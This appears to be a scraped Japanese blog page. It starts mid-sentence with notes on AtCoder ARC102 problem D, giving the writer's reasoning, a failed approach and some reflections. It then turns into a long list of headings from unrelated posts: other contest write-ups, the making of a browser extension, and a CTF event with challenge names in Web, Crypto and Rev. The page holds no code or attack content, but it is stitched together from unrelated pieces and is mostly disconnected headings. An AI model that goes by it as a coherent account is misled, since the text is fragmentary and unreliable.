最後に、 $a$ を $1$ から $N$ まで回すと答えが導出できる。

以下、提出コード。

Submission #3116072 - AtCoder Regular Contest 102

D - All Your Paths are Different Lengths

問題

問題リンク →　

D - All Your Paths are Different Lengths

考察

頂点数が $N≦20, L≦$ 10⁶ であるから2²⁰ が関連していそうなことは見通しがついた。

ただし、実際にグラフを作ってみると、この解法だと頂点数が21無ければならず、辺の数が足りないことに気づく。

さらに、大きい方の重みから作っていけば辺の数を減らしていくことができそうだが、明らかに足りないことにも気づく。

ここでARC終了。

感想

1完できて良かったが、Cはもう少し速く解ければ良かったかな……

Dもただ重みをつけるだけでなく、重みのつけかたを工夫する必要があった。

逆に言えばもう少しでACできそうだったので、次こそDを解きたい。

結果

A - Christmas Eve Eve Eve

概要

制約

解法

B - Christmas Eve Eve

制約

解法

C - Christmas Eve

制約

解法

D-Christmas

解法

感想

はじめに

語句の説明

作ったもの

なぜ作ったのか

どうやって作るか - 計画編

1. AtCoderVirtualContestNowColorize

2. AtCoderPerformanceColorizer

3. ac-score-table-ja

どうやって作るか - コーディング編

1. 配点を隠したい部分の要素の取得

2. 任意の隠したい部分に対する要素の上書き

公開にあたって

1. 公開するまでにやったこと

2. 公開してからやったこと

そして改善へ

1. リファクタリング

2. ユーザによる編集機能

今回の制作で感じたこと

おわりに

はじめに

きっかけ

前日までにしたこと

当日(会場入り前)

当日(イベント)

CTFについての講話[れっくすさん]

Crypto[れっくすさん]

Web[ゆったんさん]

Rev[みむらさん]

CTFオリエンテーション

[Misc]

Welcome

Calc

[Web]

Do alert

ASカンパニー

AOカンパニー

Snippets

[Crypto]

Go Fast

Factoring

SimpleRSA

Find primes

[Rev]

Find it.

Read it.

Disassemble it.

結果

交流会

感想

問題リンク

はじめに

結果

A - Candy Distribution Again

問題

制約

解説

提出コード

感想

問題リンク(ログインしてください)

はじめに

結果

結果(Binary〜Programming)

結果(Recon〜Web)

解説

Crypto

Rotation

A -　Candy Distribution Again